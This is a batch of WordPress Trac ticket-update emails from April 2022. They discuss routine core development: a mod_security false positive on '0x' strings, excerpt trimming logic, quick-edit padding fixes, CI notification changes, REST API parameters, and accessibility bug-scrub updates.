<https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 12:02:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 12:02:02 -0000 Subject: [wp-trac] [WordPress Trac] #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security In-Reply-To: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> References: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> Message-ID: <068.7a2890ce092dbb3d4b21852d1be8651e@wordpress.org> #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security --------------------------+------------------------------ Reporter: ReneHermi | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Comment (by ReneHermi): I am not able to break the login even with this particular password combination which is good but can reproduce and cause always a "fatal error" on the client website by adding a URL with this character combination into the URL bar: https://example.com/?test=0xa4detc while changing the 0x to something different always returns the site properly: https://example.com/?test=1xa4detc The fatal error is 418 which indicates it has been generated by mod_security: [[Image(https://d1ro8r1rbfn3jf.cloudfront.net/ms_70361/lcPLMfZVIjBuMHd8oA9K7kxaLn8GWy/Monosnap%2BFile%2B-%2BGoogle%2BChrome%2B2022-04-08%2B13.48.10.png?Expires=1649419200&Signature=Ha8Xfgp2pMNF7J9Oe4z7H7kyTNZtbdyOaDGdfBNS2Irv8Pzx~AmaxcPMsF0jDJIn1zRePV4DWejs9bo5ehqoq2jzqjzKMe2PoAa ~BdRYPcW3GKwPpdO-GJpJ-12ZkoNNZ-o3FHCN2ZI6lv1sVhCy- yFOkRv4KMjr0lOP0JCW8bfkgIvWcmUmihNUaGaq7BZGG2DIg3B63JX9 -~eGJLJfNNBXHBZjkZ51r9eRdiQeZf4s78oBO6fwyftTalmuQ1kEtAhxq7XO- sJnAMYUj76Q5-Zr07E00q7ynegApnwGo5ZzVlsNgkQ2igmdwRHrvCWgmCtIPhSz7Ga8YGF7QEKr5g__ &Key-Pair-Id=APKAJBCGYQYURKHBGCOA)]] I could imagine that this behavior could lead to further implications, (even though its very specific), maybe with the REST API and other public endpoints so could be worth watching this more closely whenever a server responds with something unexpected. If you want me to test something more, just let me know. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55536#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 12:45:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 12:45:56 -0000 Subject: [wp-trac] [WordPress Trac] #28160: Get authors user query in-efficient when dealing with large numbers of users. In-Reply-To: <050.5f0322792e77d84a47620d884d3cc23d@wordpress.org> References: <050.5f0322792e77d84a47620d884d3cc23d@wordpress.org> Message-ID: <065.2b9fd971861e5ec343efa077e0b94f82@wordpress.org> #28160: Get authors user query in-efficient when dealing with large numbers of users. -------------------------+------------------------------ Reporter: l3rady | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: 3.9 Severity: major | Resolution: Keywords: | Focuses: -------------------------+------------------------------ Comment (by OllieJones): I've just released another database speedup plugin. This one mitigates MySQL inefficiencies when handling tens of thousands of users (or more). Some may find it useful. https://wordpress.org/plugins/index-wp-users- for-speed/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/28160#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 12:48:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 12:48:44 -0000 Subject: [wp-trac] [WordPress Trac] #52820: Possible logic error in wp_trim_excerpt() In-Reply-To: <052.65b103ff76efb414e84b2d16320f3309@wordpress.org> References: <052.65b103ff76efb414e84b2d16320f3309@wordpress.org> Message-ID: <067.844916d2b5ca527ed0ebddcdf58759a2@wordpress.org> #52820: Possible logic error in wp_trim_excerpt() --------------------------------------+----------------------------- Reporter: theMikeD | Owner: SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------------- Comment (by jrf): Replying to [ticket:52820 theMikeD]: > https://core.trac.wordpress.org/browser/tags/5.7/src/wp- includes/formatting.php#L3845 > > Reading this code, it looks like the `wp_trim_excerpt` filter's `$raw_excerpt` parameter will be empty if `$text` as supplied to the function is empty. This should be the value of `$text` at L3824 should it not? Or do I mis-understand? I do agree there may be a logic error in this function, but I don't necessarily think it's in the filter. Maybe we should have good look at what this function is supposed to do ? From the docblock: {{{ 3798 * Generates an excerpt from the content, if needed. 3799 * 3800 * Returns a maximum of 55 words with an ellipsis appended if necessary. ... 3808 * @param string $text Optional. The excerpt. If set to empty, an excerpt is generated. 3809 * @param WP_Post|object|int $post Optional. WP_Post instance or Post ID/object. Default null. 3810 * @return string The excerpt. }}} Looking at the code, the excerpt is only trimmed to 55 words when it has been auto-generated, not when it was provided via the `$text` parameter. Is this really the intended behaviour ? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52820#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 13:00:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 13:00:19 -0000 Subject: [wp-trac] [WordPress Trac] #54799: Active buttons Bulk select are confusing while menu is empty In-Reply-To: <052.5191d271cd098d2d0b37a112b9c75aa8@wordpress.org> References: <052.5191d271cd098d2d0b37a112b9c75aa8@wordpress.org> Message-ID: <067.be08551a523bf8bbf8a13ca7d4dfcabc@wordpress.org> #54799: Active buttons Bulk select are confusing while menu is empty -------------------------------------------------+------------------------- Reporter: oglekler | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Menus | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: ui, testing-info | administration -------------------------------------------------+------------------------- Comment (by Boniu91): @costdev It looks like the changes are applied only after saving the menu. Here are two unexpected scenarios: 1. Create a new menu 2. Add two pages to the menu (without saving it) 3. Elements are added to menu, bulk options are not there 1. Create a new menu 2. Add two pages to the menu and save it 3. Remove all pages from the menu (without saving it) 4. The menu is empty, bulk options are still present Is it something that should be covered? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54799#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 13:41:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 13:41:21 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.df101ff6a4d39e98a3d9be8147e36b09@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute commit needs-patch | javascript -------------------------------------+------------------------------------- Changes (by afercia): * keywords: has-screenshots title-attribute has-patch commit => has- screenshots title-attribute commit needs-patch * status: closed => reopened * resolution: fixed => Comment: Noticed that this change affects the Categories / Tags quick edit form. It now misses some padding, see attached screenshot. Will prepare a patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:33> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 13:41:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 13:41:44 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.b72db1c6b0e390fdc35c4a17ddb7b2b4@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute commit needs-patch | javascript -------------------------------------+------------------------------------- Changes (by afercia): * Attachment "missing padding.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 13:57:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 13:57:58 -0000 Subject: [wp-trac] [WordPress Trac] #54742: Fix GHA on first runs for new branches In-Reply-To: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> References: <057.2b762651a0032089b61efcef3d85c914@wordpress.org> Message-ID: <072.525add1545424649c6048ca316a22626@wordpress.org> #54742: Fix GHA on first runs for new branches ------------------------------+----------------------- Reporter: davidbaumwald | Owner: desrosj Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------+----------------------- Comment (by desrosj): In [changeset:"53108" 53108]: {{{ #!CommitTicketReference repository="" revision="53108" Build/Test Tools: Improve the accuracy of “fixed” Slack notifications. This adjusts the logic of the Slack Notifications workflow to make the “fixed” notifications more reliable. Currently, the workflow looks at the immediately preceding workflow run for the current branch. This fails to indicate that a workflow is fixed when other unrelated commits are made, and when rerunning the workflow after a false failure (timeout, etc.). The workflow will now use the following logic to determine if something has been fixed: - When a workflow is rerun, the conclusion for the immediately preceding run attempt will now be used to determine if the current attempt has “fixed” the workflow. - When on the first run attempt for a workflow run, the workflow conclusion for the immediately preceding commit will be used. - When on the first run attempt for a workflow run and no preceding commits for the current branch are present (this is a fresh tag or branch), always consider it “fixed”. Props davidbaumwald. See #54742. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54742#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 14:06:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 14:06:34 -0000 Subject: [wp-trac] [WordPress Trac] #53115: Twenty Twenty: number inputs have too much padding In-Reply-To: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> References: <058.91e6ff0735e7e5ad214924238f7ad1a6@wordpress.org> Message-ID: <073.2bf15e038dc5de6b216d9e9158473512@wordpress.org> #53115: Twenty Twenty: number inputs have too much padding ------------------------------+----------------------- Reporter: helgatheviking | Owner: (none) Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: css ------------------------------+----------------------- Changes (by sabernhardt): * owner: sabernhardt => (none) * status: accepted => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/53115#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 14:31:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 14:31:20 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.c74dfbf836133e6e59b3e5dd34b44b58@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute commit needs-patch | javascript -------------------------------------+------------------------------------- Changes (by afercia): * Attachment "35483.4.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 14:36:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 14:36:35 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.1ce85d40a93c74482e9a7c88d8eb307c@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute has-patch | javascript -------------------------------------+------------------------------------- Changes (by afercia): * keywords: has-screenshots title-attribute commit needs-patch => has- screenshots title-attribute has-patch Comment: In [attachment:"35483.4.diff"] : the easiest way to fix the missing padding for terms is by adding the same wrapping `<div>` element used for posts. This will also bring in some additional benefits, for example a slightly increased font size on desktop and mobile. I checked all the places in core where the `inline-edit-row` CSS class is used and I couldn't find other relevant visual glitches. To test: - Quick edit a category or tag. - Check the Quick Edit form does have some padding. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:34> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 15:44:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 15:44:57 -0000 Subject: [wp-trac] [WordPress Trac] #54015: Unable to pass _embed param to enveloped REST API requests In-Reply-To: <056.7a3e907025d46dd4af28a7d94ff54e4b@wordpress.org> References: <056.7a3e907025d46dd4af28a7d94ff54e4b@wordpress.org> Message-ID: <071.a33d50af4bd10f2c0ccbce0d625f3a4a@wordpress.org> #54015: Unable to pass _embed param to enveloped REST API requests --------------------------------------+----------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future Release Component: REST API | Version: 5.4 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: rest-api --------------------------------------+----------------------------- Comment (by spacedmonkey): I have updated the patch at [https://github.com/WordPress/wordpress- develop/pull/2544 #2544] with unit tests. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54015#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 15:51:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 15:51:16 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.a088e4beafe55c74da0ccd7638b2244e@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by antonvlasenko): I've added a couple of code reviews. I'm not sure where to put them since relevant PRs have already been closed. 1. https://core.trac.wordpress.org/changeset/53090 -> https://github.com/WordPress/wordpress- develop/pull/2523#pullrequestreview-936563364 cc: @zieleadam 2. https://core.trac.wordpress.org/changeset/53085 -> https://github.com/WordPress/wordpress- develop/pull/2518#pullrequestreview-936544336 cc: @ramonopoly 3. https://core.trac.wordpress.org/changeset/53082 -> https://github.com/WordPress/wordpress- develop/pull/2522#pullrequestreview-935122108 cc: @ramonopoly 4. https://core.trac.wordpress.org/changeset/53076 -> https://github.com/WordPress/wordpress- develop/pull/2500#pullrequestreview-933923241 cc: @ramonopoly -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:66> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 16:38:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 16:38:30 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.00c434ae8fc7a800a134252cdd5bddda@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js ----------------------------------+---------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Comment (by joedolson): For the record, I think that the tests failure is in some way related to changing the shape of the AJAX response, and that leaving the parameter in the response is the best solution here, but I can't find a definite answer to that in the unit tests. @costdev @hellofromTonya @boniu91 Any opinions on the tests issue? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 16:45:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 16:45:42 -0000 Subject: [wp-trac] [WordPress Trac] #53974: Repeat Password field missing during installation In-Reply-To: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> References: <050.6056822c2b2f1ae3bcf769f2d4931f0d@wordpress.org> Message-ID: <065.7916abeb98c71badc2fb9fda6591ef91@wordpress.org> #53974: Repeat Password field missing during installation -----------------------------+--------------------- Reporter: Eric3D | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui -----------------------------+--------------------- Comment (by afragen): I just tried to replicate this using LocalWP, Apache 2.4.43, PHP 7.3.5, MySQL 8.0.16, and WP 5.9.3, Safari 15.4 I created a site in Local with the above parameters. Used `wp db reset --yes --defaults` to wipe the database and then entered a weak password. I did not see the confirmation screen, but the user/password was correctly used and I was presented with the confirmation screen and then a login screen. I even removed the `wp-config.php` to recreate it during the "5-minute install" and it still worked. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53974#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 16:47:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 16:47:12 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.7eee938f987f334f6e5425127336e3dd@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute has-patch commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * keywords: has-screenshots title-attribute has-patch => has-screenshots title-attribute has-patch commit Comment: Thanks, @afercia! Tested, looks good. I think that making the wrapper for quick edit consistent makes sense. Checked quick edit on comments, as well, and that's fine; uses different CSS. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 16:55:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 16:55:18 -0000 Subject: [wp-trac] [WordPress Trac] #32747: WP Admin Menus/SubMenus Overlap in small screen In-Reply-To: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> References: <053.19f81590b59ff77c2a9b31983b4caf91@wordpress.org> Message-ID: <068.72102ed8938b33b71f22a30482985f1e@wordpress.org> #32747: WP Admin Menus/SubMenus Overlap in small screen -------------------------------------+------------------------------------- Reporter: turtlepod | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.2.2 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: ui, accessibility, css -------------------------------------+------------------------------------- Comment (by ryokuhi): This ticket was reviewed again today during the Accessibility Team's weekly bug-scrub. While testing, @sabernhardt found a problem when the menu is expanded from auto-fold. To solve it, it's possible that the check should regard the body width instead of the window width. -- Ticket URL: <https://core.trac.wordpress.org/ticket/32747#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 16:58:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 16:58:54 -0000 Subject: [wp-trac] [WordPress Trac] #43886: Chrome autofills password over "new password" field when updating user. In-Reply-To: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> References: <055.006b0bba2d633bb6a2d027bd96a73036@wordpress.org> Message-ID: <070.5f503dcbdf7f33f755504de6a134cb59@wordpress.org> #43886: Chrome autofills password over "new password" field when updating user. ------------------------------+-------------------------------------------- Reporter: WraithKenny | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, administration testing | ------------------------------+-------------------------------------------- Changes (by ryokuhi): * keywords: has-patch => has-patch needs-testing Comment: This ticket was reviewed today during the Accessibility Team's weekly bug- scrub. I'm adding the `needs-testing` label, so that if the latest patch works this can be committed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/43886#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:03:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:03:24 -0000 Subject: [wp-trac] [WordPress Trac] #45021: Media: Gallery modal has wrong focus and image detail In-Reply-To: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> References: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> Message-ID: <067.223c62f0a9cf8703c0a0c476a1627394@wordpress.org> #45021: Media: Gallery modal has wrong focus and image detail -----------------------------------------+------------------------- Reporter: joyously | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots needs-patch | Focuses: javascript -----------------------------------------+------------------------- Changes (by ryokuhi): * focuses: accessibility, javascript => javascript Comment: This ticket was reviewed today during the Accessibility Team's weekly bug- scrub. As all accessibility issues have been solved elsewhere and the only remaining discussion is about whether cancel should clear the selected gallery collection or not (which is not an accessibility issue), the Accessibility Team agreed to remove the `accessibility` focus and leave all decisions to the Media Team. -- Ticket URL: <https://core.trac.wordpress.org/ticket/45021#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:03:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:03:24 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.fdb66aa7ae655d38f560f898b4f04299@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: fixed Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute has-patch commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53109" 53109]: {{{ #!CommitTicketReference repository="" revision="53109" Quick/Bulk Edit: Fix padding in term quick edit. Fix missing padding on quick edit for taxonomy terms following accessibility changes in [53096]. Props afercia. Fixes #35483. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:37> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:06:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:06:43 -0000 Subject: [wp-trac] [WordPress Trac] #54412: Twenty Twenty: Letters move when opening accordion menu In-Reply-To: <053.ac77aa04b53f4eab615f21d24f19d7aa@wordpress.org> References: <053.ac77aa04b53f4eab615f21d24f19d7aa@wordpress.org> Message-ID: <068.b87331c90b27eb6978c5b72c2daa3a46@wordpress.org> #54412: Twenty Twenty: Letters move when opening accordion menu -------------------------------------+------------------------------------- Reporter: mike77777 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.8.1 Severity: major | Resolution: Keywords: needs-patch reporter- | Focuses: accessibility, feedback | javascript, css, template -------------------------------------+------------------------------------- Changes (by ryokuhi): * keywords: needs-patch => needs-patch reporter-feedback Comment: This ticket was reviewed today during the Accessibility Team's weekly bug- scrub. As a couple people weren't able to reproduce the issue lately, I'd like to ask if @mike77777 still faces this issue. Otherwise, this ticket might probably be closed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54412#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:08:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:08:16 -0000 Subject: [wp-trac] [WordPress Trac] #54412: Twenty Twenty: Letters move when opening accordion menu In-Reply-To: <053.ac77aa04b53f4eab615f21d24f19d7aa@wordpress.org> References: <053.ac77aa04b53f4eab615f21d24f19d7aa@wordpress.org> Message-ID: <068.ee8b40e1166c1551e24a4ee0f94702ef@wordpress.org> #54412: Twenty Twenty: Letters move when opening accordion menu -------------------------------------+------------------------------------- Reporter: mike77777 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.8.1 Severity: normal | Resolution: Keywords: needs-patch reporter- | Focuses: accessibility, feedback | javascript, css, template -------------------------------------+------------------------------------- Changes (by ryokuhi): * severity: major => normal Comment: Also, the severity of this issue is probably not major: changing it to normal. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54412#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:10:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:10:27 -0000 Subject: [wp-trac] [WordPress Trac] #54483: On logout input fields have aria described login_error In-Reply-To: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> References: <056.5f153943b56f0aa9c5ef66da1cbf5e6b@wordpress.org> Message-ID: <071.e52ec1f7849c9e4d7e9390a139f253c4@wordpress.org> #54483: On logout input fields have aria described login_error ------------------------------------+-------------------------------- Reporter: patrickgroot | Owner: alexstine Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Login and Registration | Version: 5.8.2 Severity: trivial | Resolution: Keywords: has-patch | Focuses: ui, accessibility ------------------------------------+-------------------------------- Comment (by ryokuhi): This ticket was reviewed today during the Accessibility Team's weekly bug- scrub. Adding the `needs-testing` label, so that this ticket gets a little exposure. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54483#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:22:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:22:37 -0000 Subject: [wp-trac] [WordPress Trac] #54811: Complete media url is not showing. In-Reply-To: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> References: <054.c79f56ec01ca32ba6f91f248193c9c6c@wordpress.org> Message-ID: <069.1a5886fb65f2b037940d4bdf0b0dd4a1@wordpress.org> #54811: Complete media url is not showing. -------------------------------------+------------------------------------- Reporter: sumitsingh | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, accessibility, patch | css, administration -------------------------------------+------------------------------------- Comment (by ryokuhi): As far as I can see, all other elements on the page have the same alignment, so the misaligned permalink pops up a bit. As such, for the sake of consistency, I think that the padding should be removed. That said, this is not capital and, if the risk is that the patch doesn't make it in time for 6.0 Beta 1, let's leave the patch as is. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54811#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 8 17:24:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 08 Apr 2022 17:24:37 -0000 Subject: [wp-trac] [WordPress Trac] #54015: Unable to pass _embed param to enveloped REST API requests In-Reply-To: <056.7a3e907025d46dd4af28a7d94ff54e4b@wordpress.org> References: <056.7a3e907025d46dd4af28a7d94ff54e4b@wordpress.org> Message-ID: <071.80eb92881f2c3995a3da61fd600078be@wordpress.org> #54015: Unable to pass _embed param to enveloped REST API requests --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.4 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: rest-api --------------------------------------+--------------------------- Changes (by spacedmonkey): * milestone: Future Release => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54015#comment:16> WordPress Trac 